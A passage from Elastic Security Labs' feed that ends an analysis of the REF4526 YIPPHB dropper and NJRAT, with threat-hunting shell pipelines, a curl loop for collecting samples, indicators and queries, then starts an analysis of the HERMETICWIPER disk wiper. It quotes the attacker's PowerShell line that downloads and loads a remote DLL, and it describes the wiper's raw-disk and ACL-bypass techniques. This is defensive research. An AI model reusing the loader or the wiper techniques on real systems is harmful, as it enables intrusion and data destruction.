<p>To get started, we’ll need to get access to our data on the command line where we can pipe it to <strong>awk</strong>. We’ve <a href="https://github.com/elastic/securitylabs-thrunting-tools">published a tool</a> called <strong>eql-query</strong> (and another called <strong>lucene-query</strong> ) to do just that.</p>
<p>Using <strong>eql-query</strong> , we can run an EQL query to retrieve the last 180-days of results, retrieving only the <strong>process.command_line</strong> field. The value of doing this from the command line is that it allows us to further parse the data and pull out additional strings of interest.</p>
<pre><code>eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == &quot;PowerShell.EXE&quot; and process.command_line like &quot;*Unicode.GetString*&quot; and process.args like &quot;*replace*&quot;)'
</code></pre>
<p>Next, use <strong>jq</strong> to pass the raw string to <strong>awk</strong> using <strong>jq '._source.process.command_line' -r | awk</strong>.</p>
<blockquote>
<p>If you’re doing this iteratively, it’s best to write the results from <strong>eql-query</strong> to a file, and then operate on the results locally until you have your pipeline how you’d like it.</p>
</blockquote>
<p>The next step is to capture the strings used in the Powershell <strong>replace</strong> commands so we can perform that function ourselves. The best way to do this using <strong>awk</strong> is by capturing them with a regular expression.</p>
<p>This matches the first and second arguments to replace. The first argument is Unicode and possibly not friendly as an <strong>awk</strong> pattern, so we’ll need to escape it first. Once we’ve made the replacement, we’ll print out the “clean” code, the string to find, and the replacement text.</p>
<pre><code>function escape_string( str ) {
    gsub(/[\\.^$(){}\[\]|*+?]/, &quot;\\\\&amp;&quot;, str)
    return str
}
{
    match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
    str=escape_string(arr[1]);
    rep=arr[2];
    print gensub(str, rep, &quot;g&quot;)
}
</code></pre>
<p>Finally we can <strong>grep</strong> out the Base64 code (using another regex) and reveal the obfuscated Powershell script.</p>
<pre><code>grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'
</code></pre>
<p>This automates the manual conversion process we outlined in the Loader, Dropper, and RAT phases above.</p>
<pre><code>$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
</code></pre>
<p>Parsing the URLs from this text should be another simple <strong>awk</strong> match, followed by flipping the second URL, however, Powershell’s default encoding is <strong>UTF-16LE</strong> and <strong>awk</strong> only supports <strong>UTF-8</strong> or ASCII encoding. A tool called <a href="https://linux.die.net/man/1/iconv"><strong>iconv</strong></a> can perform the necessary conversion.</p>
<pre><code>echo &quot;${line}&quot; | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,&quot;&quot;); for(i=1;i&lt;=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'
</code></pre>
<p>Once converted, the rest is straightforward parsing. Our output will contain <strong>url1</strong> , <strong>url2</strong> , and a copy of the Unicode strings and their replacements. The URLs are the forward and reverse URLs for each code sample, respectively.</p>
<table>
<thead>
<tr>
<th>Unicode icon</th>
<th>Replacement</th>
<th>url1</th>
<th>url2</th>
</tr>
</thead>
<tbody>
<tr>
<td>⌚⌚⌚</td>
<td>U</td>
<td><code>https://tinyurl[.]com/2erph6cs</code></td>
<td><code>https://cdn.discordapp[.]com/...truncated.../10oct8000.txt</code></td>
</tr>
<tr>
<td>⌚⌚⌚</td>
<td>U</td>
<td><code>http://91.241.19[.]49/ARTS/dllf3txt</code></td>
<td><code>http://91.241.19[.]49/test/new/ZX1.txt</code></td>
</tr>
<tr>
<td>⁂</td>
<td>A</td>
<td><code>http://20.231.55[.]108/dll/06-07-2022.PDF</code></td>
<td><code>http://212.192.246[.]226/dsaffdffa.txt</code></td>
</tr>
</tbody>
</table>
<p>For further details or to try it against your own data, see the <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt8f67cd063158a2dc/637bc872cca9f010a904ea67/ref4526_url_extraction.zip">shell script</a> that combines it all.</p>
<p>Now that we have automated the collection and parsing of the URLs for the loader and dropper, we can move on to the RAT infrastructure.</p>
<h4>RAT</h4>
<p>As evident in the original Powershell script, we know the RAT uses additional network infrastructure. To enumerate this, we need to pull down the RAT much like the dropper would, take a unique set URLs for each <strong>url1</strong> and <strong>url2</strong> output in the previous step, loop through each list, and use <strong>curl</strong> to download them.</p>
<blockquote>
<p>This process requires interacting with adversary-owned or controlled infrastructure. Interacting with adversary infrastructure requires disciplined preparation that not all organizations are ready to pursue. If you don't already have strong knowledge of legal considerations, defensive network egress points, sandboxes, an intelligence gain/loss strategy, etc., the following is presented informationally.</p>
</blockquote>
<p>As the loader never saves the downloaded files to disk and there aren’t always filenames, so to keep track of samples, we’ll use a simple counter. This gives us this simple loop:</p>
<pre><code>ctr=1
for line in $(cat ../url-1.txt); do
    curl -v -A &quot;${USER_AGENT}&quot; -o &quot;file-${ctr}&quot; -L --connect-timeout 10 &quot;${line}&quot; 2&gt;&gt;&quot;log-${ctr}.txt&quot;
    ctr=$((ctr + 1))
done
</code></pre>
<p>We use <strong>-v</strong> to capture the request and response headers, <strong>-L</strong> to follow redirects, and <strong>--connect-timeout</strong> to speed up the process when the infrastructure is down. Finally, save the <strong>curl</strong> output to a log file while any files downloaded are saved as <strong>file-X</strong> , where <strong>X</strong> is the value of the counter.</p>
<p>Any RAT files downloaded are Base64-encoded. We can identify valid Base64-encoded files using the <strong>file</strong> command. A Base64-encoded file will be identified as “ASCII text, with very long lines (<em>length</em>), with no line terminators” where <em>length</em> is the file size. For files that match this language, we’ll decode them and save them with a <strong>.dll</strong> extension.</p>
<pre><code>for entry in $(file file-?? | awk -F&quot;: &quot; '$2 ~ /^ASCII text.*very long lines/  {print $1}'); do
    rev  &lt;&quot;${entry}&quot; | base64 -d &gt;&quot;${entry}.dll&quot;
done
</code></pre>
<p>Now that we have the RAT binaries, we can do some typical static analysis on them. If you have the <a href="https://github.com/VirusTotal/vt-cli">VirusTotal command line tool</a> and can make API queries, searching for known files is another simple loop over all the saved <strong>dll</strong> files.</p>
<pre><code>for entry in *.dll; do
	hash=$(sha256sum &quot;${entry}&quot; | awk '{print $1}')
	vt search &quot;${hash}&quot; &gt;&quot;${entry}.vt.yml&quot;
done
</code></pre>
<p>Looking at the output, we can see that any <strong>yml</strong> file (the <strong>vt</strong> command output) with <strong>0</strong> bytes means no match. These files are unknown to VirusTotal. In this output, we can see that <strong>file-30.dll</strong> , <strong>file-31.dll</strong> , and <strong>file-34.dll</strong> are unknown to VirusTotal.</p>
<pre><code>$ ls -s *.dll{,.vt.yml}

 32 file-28.dll
 32 file-28.dll.vt.yml
 32 file-30.dll
  0 file-30.dll.vt.yml
 32 file-31.dll
  0 file-31.dll.vt.yml
468 file-34.dll
  0 file-34.dll.vt.yml
 48 file-35.dll
 40 file-35.dll.vt.yml
 80 file-38.dll
 36 file-38.dll.vt.yml
</code></pre>
<p>The final analysis we’re going to perform is to attempt to dump any domain names from the DLLs. For many executable file formats, the <strong>strings</strong> command can provide that information. Unfortunately, most of these DLLs are .Net assemblies and the <strong>strings</strong> command won’t work to extract strings from .Net assemblies. The <strong>file</strong> command can again help us identify these as in this example:</p>
<pre><code>$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
</code></pre>
<p>The upside of .Net is that it is easily disassembled and the Mono project provides a tool just for that purpose, <a href="https://www.mono-project.com/docs/tools+libraries/tools/"><strong>ikdasm</strong></a>. This gives us our final loop to search for domain names or references to HTTP URLs.</p>
<pre><code>for item in *.dll; do
    ikdasm &quot;${item}&quot; | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|(&quot;http|ptth&quot;)';
Done
</code></pre>
<p>For more details you can refer to this <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltdeb8fbbb0f53fa97/637bc87271c75510a0ca1a95/ref4526_rat_collection.zip">shell script</a> that puts this second stage of analysis together.</p>
<h2>Diamond Model</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries and victims of intrusions.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image1.png" alt="REF4526 diamond model" /></p>
<h2>Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0042/">Resource Development</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1583/">Acquire Infrastructure</a></li>
<li><a href="https://attack.mitre.org/techniques/T1608/001/">Stage Capabilities: Upload Malware</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/005/">Command and Scripting Interpreter: Visual Basic</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/004/">System Binary Proxy Execution: InstallUtil</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
</ul>
<h2>Detection logic</h2>
<h3>Behavior rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_execution_with_unusual_file_extension.toml">Process Execution with Unusual File Extension</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_script_file_written_to_startup_folder.toml">Script File Written to Startup Folder</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_powershell_execution_via_windows_scripts.toml">Suspicious PowerShell Execution via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_dynamic_dns_provider_by_an_unsigned_binary.toml">Connection to Dynamic DNS Provider by an Unsigned Binary</a></li>
</ul>
<h3>Hunting queries</h3>
<p>Identifying Unicode in Powershell can be accomplished with either a KQL or EQL query.</p>
<p>The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration.</p>
<h4>KQL query</h4>
<p>Using the Discover app in Kibana, the below query will identify the use of Powershell with Unicode strings. While this identified all of the events in this research, it also identified other events that were not part of the REF4526 intrusion set.</p>
<p>The proceeding and preceding wildcards ( <strong>*</strong> ) can be an expensive search over a large number of events.</p>
<pre><code>process.pe.original_file_name : &quot;PowerShell.EXE&quot; and process.command_line : (*Unicode.GetString* and *replace*)
</code></pre>
<h4>EQL query</h4>
<p>Using the <a href="https://www.elastic.co/es/guide/en/security/current/timelines-ui.html#filter-with-eql">Timeline section</a> of the Security Solution in Kibana under the “Correlation” tab, this query will identify the use of Powershell with Unicode strings and the <strong>replace</strong> function. This identified all observed REF4526 events.</p>
<pre><code>intrusion_detection where (process.pe.original_file_name == &quot;PowerShell.EXE&quot; and process.command_line like &quot;*Unicode.GetString*&quot; and process.args like &quot;*replace*&quot;)
</code></pre>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara">https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat">https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat</a></li>
<li><a href="https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html">https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html</a></li>
<li><a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/</a></li>
<li><a href="https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs">https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs</a></li>
<li><a href="https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a">https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a</a></li>
<li><a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/</a></li>
</ul>
<h2>Observables</h2>
<p>All observables are also available for <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltc0eb869ac242975f/637bf8b1fa033a109b5d94bd/ref4526-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Reference</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2</td>
<td>SHA-256</td>
<td>dllsica.bin</td>
<td>Initial loader</td>
</tr>
<tr>
<td>bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf</td>
<td>SHA-256</td>
<td>pesica.bin</td>
<td>YIPPHB downloader</td>
</tr>
<tr>
<td>1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3</td>
<td>SHA-256</td>
<td>10oct8000</td>
<td>NJRAT implant</td>
</tr>
<tr>
<td><code>https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt</code></td>
<td>url</td>
<td>Loader phase</td>
<td>NJRAT download location</td>
</tr>
<tr>
<td><code>https://tinyurl[.]com/2erph6cs</code></td>
<td>url</td>
<td>Loader phase</td>
<td>REF4526 loader download location</td>
</tr>
<tr>
<td><code>https://tinyurl[.]com/4vfu6wd</code></td>
<td>url</td>
<td>Dropper phase</td>
<td>YIPPHB download location</td>
</tr>
<tr>
<td>wins10ok.duckdns[.]org</td>
<td>domain-name</td>
<td>NJRAT C2</td>
<td>NA</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/doing-time-with-the-yipphb-dropper/time-watch-theme-machines-gears.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic protects against data wiper malware targeting Ukraine: HERMETICWIPER]]></title>
            <link>https://www.elastic.co/es/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper</link>
            <guid>elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper</guid>
            <pubDate>Fri, 09 Sep 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Analysis of the HERMETICWIPER malware targeting Ukranian organizations.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>On February 23, 2022, the ESET threat research team <a href="https://twitter.com/ESETresearch/status/1496581903205511181">disclosed a series of findings</a> pertaining to a Data Wiper malware campaign, impacting hundreds of systems across Ukraine, named <a href="https://twitter.com/juanandres_gs/status/1496607141888724997">HERMETICWIPER</a>. Elastic previously published research on <a href="https://www.elastic.co/es/security-labs/operation-bleeding-bear">Operation Bleeding Bear</a>, a campaign targeted towards Ukrainian assets with similar destructive intentions.</p>
<p>Malware Wipers remain a common tactic of adversaries looking to cause havoc on systems impacted by their payloads. Typically this class of malware is designed to wipe the contents of any drives a system may have, rendering the end-users personal data lost. Many more recent examples of this class of payload incorporate tactics that also tamper with the boot process, with HERMETICWIPER being no exception.</p>
<p>Customers leveraging the Elastic Agent version 7.9+, and above are protected against this specific malware, with further research being undertaken to improve detection efficacy.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-8.png" alt="" /></p>
<h2>Malware Wipers &amp; Ukrainian Targets</h2>
<p>Unfortunately, this is not the first time this year that Ukranian systems have been the target of Data-wiping payloads - Microsoft <a href="https://therecord.media/microsoft-data-wiping-malware-disguised-as-ransomware-targets-ukraine-again/">published findings</a> pertaining to similar, observed attacks that impacted systems within Ukraine, however initially impacting a far smaller number of systems. The publication outlined that the targeting of this specific earlier campaign was focused on multiple government agencies, non-profits, and information technology organizations throughout the country.</p>
<h2>Malware Stage Analysis</h2>
<p>HERMETICWIPER is digitally signed by Hermetica Digital Ltd., an organization <a href="https://opencorporates.com/companies/cy/HE419469">registered</a> in Cyprus, and embeds 4 legitimate driver files from <a href="https://www.easeus.com/partition-manager">EaseUS Partition Manager</a> that are compressed using MS-DOS utility (mscompress). Hermetica Digital Ltd. has revoked the code-signing certificate.</p>
<p>Upon execution, HERMETICWIPER creates a kernel mode service and interacts with it via DeviceIoControl API function. The main objective is to corrupt any attached physical drive and render the system data unrecoverable.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-20.png" alt="" /></p>
<p>Below is a summary of the events generated during the installation phase using, Windows events logs and Elastic Agent.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-16.jpg" alt="" /></p>
<p>Following the installation process, HERMETICWIPER determines the dimensions of each partition by calculating the bytes in each sector and sectors in each cluster using the GetDiskFreeSpaceW Windows API <a href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdiskfreespacew">function</a>.</p>
<p>The malware interacts with the IOCTL interface, passing the parameter IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS with a value of 0x560000 to the device driver in order to retrieve the physical location of the root driver (\.\C). The root drive corresponds to the volume Windows uses to boot, and its identification is essential to achieve a destructive impact.</p>
<p>The NTFS/FAT boot sector and random file physical offsets are enumerated for each accessible physical drive, and then overwritten by the output of the CryptGenRandom <a href="https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenrandom">API function</a> and a series of FSCTL_GET_RETRIEVAL_POINTERS and FSCTL_MOVE_FILE IOCTLs.</p>
<p>Once the system crashes or restarts, the system is unable to boot and the data is corrupted.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-15.jpg" alt="" /></p>
<h2>Interesting Functionality</h2>
<p>Similar to different ransomware families, HERMETICWIPER avoids specific critical folders and files during the wiping process. This ensures the machine is still operable and will not impact the disk wiping/file corrupting process at a later stage.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-13.jpg" alt="" /></p>
<p>Another interesting technique observed when targeted files are queued for wiping is how they are accessed by concatenating the value ::$INDEX_ALLOCATION to a filename. This documented <a href="https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/">NTFS trick</a> is an additional method to bypass access-control list (ACL) permissions on targeted files to provide more reliability when accessing these files.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-19.jpg" alt="" /></p>
<p>HERMETICWIPER also modifies two registry settings during execution (ShowCompColor and ShowInfoTip), setting those key values to 0. Within Windows, when a user chooses to compress NTFS directories/files, there is a setting that allows the user to differentiate them in Windows Explorer showing them as blue representing compressed data or green for encrypted data. This is an attempt by the malware to not set off any suspicious behavior to the user with different coloring on directories/files before the disk corruption occurs on the machine.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-6.jpg" alt="" /></p>
<h2>Shredding Component Analysis</h2>
<p>The malware wipes specific target folders/files writing pre-generated random data at specific disk addresses. It does this by setting up 4 different shredding queues in the binary.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-3.jpg" alt="" /></p>
<p>Each queue usage and its functionality is undetermined, but are used at different points in the sample. The shredding queue is composed of a linked list of targets which contain random pre-generated data (generated at queuing) of the size of the target, the disk number and a linked list of “file” parts with disk addresses and sizes.</p>
<pre><code>HERMETICWIPER Structure for ShredTarget function

struct ctf::ShredTarget
{
ctf::ShredTarget *p_next;
ctf::ShredTarget *p_prev;
ctf::FilePart *p_parts;
int disk_number;
uint8_t *p_random_filled_buffer;
int p_random_filled_buffer_size;
};
</code></pre>
<pre><code>HERMETICWIPER Structure for FilePart function

struct ctf::FilePart
{
ctf::FilePart *p_next;
ctf::FilePart *p_prev;
uint64_t start_address;
uint64_t size;
};
</code></pre>
<pre><code>HERMETICWIPER targeting file, folder, and disk partitions

ctf::QueueFileShred
ctf::QueueFolderShred
ctf::callback::IfPathContainNtUserQueueFileShred
ctf::callback::QueueNtfsBitmapAndLogAttributeShred
ctf::callback::QueueFileShredIfNotSymlink
ctf::callback::QueuePartitionFirstClusterShred
ctf::callback::QueuePartitionShred
</code></pre>
<p>The malware emphasizes the following items that are targeted for shredding.</p>
<ul>
<li>The dropped driver if something goes wrong or after service start:</li>
</ul>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-4.jpg" alt="" /></p>
<ul>
<li>The malware process itself if driver launch goes wrong:</li>
</ul>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-image-21.jpg" alt="" /></p>
<ul>
<li>The disk’s partition first cluster (enumerates up to 100):</li>
</ul>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-7.jpg" alt="" /></p>
<ul>
<li>The System Volume information direct used to store Windows restore points:</li>
</ul>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-14.jpg" alt="" /></p>
<p>Interestingly if the computer doesn’t belong to a domain controller it will target more assets:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-5.jpg" alt="" /></p>
<p>After queuing the different targets previously described, the sample starts different synchronous/asynchronous shredding threads for each of its queues:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-10.jpg" alt="" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-12.jpg" alt="" /></p>
<p>The thread launcher will then start a new thread for each target.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-9.jpg" alt="" /></p>
<p>The shredding thread will then iterate through the target’s file parts and use the driver for writing at addresses on specified disk.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-17.jpg" alt="" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-1.jpg" alt="" /></p>
<h2>Driver Analysis</h2>
<p>The driver that is loaded by the user mode component is quite similar to the driver that belongs to Eldos Rawdisk and has been leveraged previously by threat actors like <a href="https://securelist.com/shamoon-the-wiper-further-details-part-ii/57784/">Shamoon</a> and Lazarus. The difference is that HERMETICWIPER abuses a driver (epmntdrv.sys) that belongs to EaseUS Partition Master, a legitimate disk partitioning software.</p>
<p>When the driver is loaded, it creates a device named \Device\EPMNTDRV and creates a symbolic link to be exposed to user mode. Then, it initializes the driver object with the following entry points.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-2.jpg" alt="" /></p>
<p>Looking at the dispatch function that handles the IRP_MJ_CREATE requests, we can see that the driver builds the name of the symlink \Device\HarddiskX\Partition0 and saves a pointer to its file object on the driver’s file object fs context. The driver then uses the volume manager device object to obtain a pointer to the highest level device object in the disk device stack.</p>
<p>After that, it iterates over the stack looking for the Disk driver, that is the Microsoft storage class driver that implements functionality common to all storage devices. Once found, it saves a pointer to its device object in the FsContext2 field of the file object structure.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-11.jpg" alt="" /></p>
<p>Moving to the function that handles the write requests, we can see that it builds an asynchronous <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/i-o-request-packets">Input Output Request Packet</a> (IRP), which is an API used for drivers to communicate with each other, and forwards it the volume manager device. The buffer used in the IRP is described by the <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_mdl">Memory Descriptor List</a> (MDL) driver function. Finally, a completion routine is provided that will free the MDL and release memory used by the IRP.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-18.png" alt="" /></p>
<p>The read requests are similar to the write requests in concept, in other words, the IoBuildsynchronousFsdRequest() <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iobuildsynchronousfsdrequest">API function</a> uses the IRP_MJ_READ <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/irp-mj-read">driver function</a> instead of the IRP_MJ_WRITE <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/irp-mj-write">driver function</a> when sending the IRP to the driver. Finally, the routine that handles I/O control codes finds the highest device object in the stack where the volume manager is located and calls IoBuildDeviceIoControlRequest() to forward the IRP that contains the I/O control code to the appropriate driver.</p>
<blockquote>
<p>All in all, the driver functionality is very simple. It acts as a proxy between user space and the low level file system drivers, allowing raw disk sector manipulation and as a result circumventing Windows operating system security features.</p>
</blockquote>
<h2>Prebuilt Detection Engine Alerts</h2>
<p>The following existing <a href="https://github.com/elastic/detection-rules">public detection rules</a> can also be used to detect some of the employed post exploitation techniques described by Symantec Threat Intelligence Team and ESET [<a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine">1</a>][<a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia">2</a>][<a href="https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/">3</a>] :</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_suspicious_cmd_wmi.toml">Suspicious Cmd Execution via WMI</a> (Deployment of wiper via Impacket WMI)</li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_direct_outbound_smb_connection.toml">Direct Outbound SMB Connection</a> (SMB spreader)</li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_remote_services.toml">Remotely Started Services via RPC</a> (Remcom)</li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_executable_tool_transfer_smb.toml">Lateral Tool Transfer</a> (staging PE via file shares for remote execution)</li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_cmdline_dump_tool.toml">Potential Credential Access via Windows Utilities</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_suspicious_lsass_access_memdump.toml">Potential Credential Access via LSASS Memory Dump</a></li>
